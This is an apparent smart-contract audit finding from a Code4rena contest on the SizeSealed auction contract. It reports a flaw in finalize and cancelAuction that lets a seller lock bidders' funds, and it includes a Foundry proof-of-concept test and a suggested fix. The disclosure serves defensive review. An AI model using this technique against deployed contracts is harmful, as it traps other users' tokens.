[PNM-002] `finalize` with malicious input may lock bidder funds in the contract

[code423n4]

Lines of code

https://github.com/code-423n4/2022-11-size/blob/79aa9c01987e57a760521acecfe81b28eab3b313/src/SizeSealed.sol#L33-L34 https://github.com/code-423n4/2022-11-size/blob/79aa9c01987e57a760521acecfe81b28eab3b313/src/SizeSealed.sol#L391-L410 https://github.com/code-423n4/2022-11-size/blob/79aa9c01987e57a760521acecfe81b28eab3b313/src/SizeSealed.sol#L358 https://github.com/code-423n4/2022-11-size/blob/79aa9c01987e57a760521acecfe81b28eab3b313/src/SizeSealed.sol#L336

Vulnerability details

Description

The finalize function of the contract SizeSealed is used to finalize an auction, allowing the auctioner (or seller) to be paid quote tokens and also eventually allowing successful bidders to withdraw base tokens.

Once the finalize function is called, the atState modifier check should pass, which ends the finalize state of the function.

However, there are certain cases where the seller can use malicious input and then call cancelAuction, which does not allow bidders to withdraw or refund, effectively locking their tokens within the contract.

bidders will still not be able to access their funds, as the atState modifier will always return that the contract is in the finalize state.

POC

• The base token to quote token ratio should be less than or equal to one.
• The seller initializes the auction as normal
• Bidding also takes place normally
• The seller calls the finalize function with the initial ratio, but scaled to type(uint128).max (i.e. base token == initialBase/initialQuote x type(uint128).max and quote token == type(uint128).max)
  • This will allow the seller to earn funds as usual
• The sellercan then call cancelAuction. This locks existing bidder funds in the contract

• The reasoning behind this exploit is that the atState modifier for finalize is that quoteToken != type(uint128).max. By setting the two values equal, the check will by bypassed, and atState will always be in the finalize state, which allows the auction to be cancelled, and also prevent existing funds from being withdrawn or refunded.

Code:

 function testFinalizeCancel() public{
        console.log("Begin");
        (uint256 sellerBeforeQuote, uint256 sellerBeforeBase) = seller.balances();
        console.log("Seller initial balance: (Quote: %d), (Base: %d)\n", sellerBeforeQuote, sellerBeforeBase);
        uint256 aid = seller.createAuction(
            baseToSell, reserveQuotePerBase, minimumBidQuote, startTime, endTime, unlockTime, unlockEnd, cliffPercent
        );

        bidder1.setAuctionId(aid);
        (uint256 B1BeforeQuote, uint256 B1BeforeBase) = bidder1.balances();
        console.log("Bidder1 initial balance: (Quote: %d), (Base: %d)\n", B1BeforeQuote, B1BeforeBase);
        bidder1.bidOnAuction(5e6, 5e6);

        bidder2.setAuctionId(aid);
        (uint256 B2BeforeQuote, uint256 B2BeforeBase) = bidder2.balances();
        console.log("Bidder1 initial balance: (Quote: %d), (Base: %d)\n", B2BeforeQuote, B2BeforeBase);
        bidder2.bidOnAuction(5e6, 5e6);

        vm.warp(endTime);

        uint256[] memory bidIndices = new uint[](2);
        bidIndices[0] = 0;
        bidIndices[1] = 1;

        seller.finalize(bidIndices, type(uint128).max, type(uint128).max);
        console.log("Finalize");

        seller.cancelAuction();

        console.log("Should revert");
        (uint256 B1Quote, uint256 B1Base) = bidder1.balances();
        console.log("Bidder1 balance before withdraw: (Quote: %d), (Base: %d)\n", B1Quote, B1Base);
        vm.expectRevert(ISizeSealed.InvalidState.selector);
        bidder1.withdraw();
        vm.expectRevert(ISizeSealed.InvalidState.selector);
        bidder1.refund();
        (B1Quote, B1Base) = bidder1.balances();
        console.log("[*] Reverted");

         uint a = 1;
        uint b = 1;
        assertEq(a, b, "works");
    }

Output:

As demonstrated, both the withdraw and refund function calls are reverted, meaning there is no w bidders to recieve their funds back.

Recommended Fix:

Change the finalize condition. Using a boolean isFinalized and setting it to be true or false may mitigate this issue.

[trust1995]

Nice, dup of #252

[c4-judge]

0xean marked the issue as duplicate

[c4-judge]

0xean marked the issue as satisfactory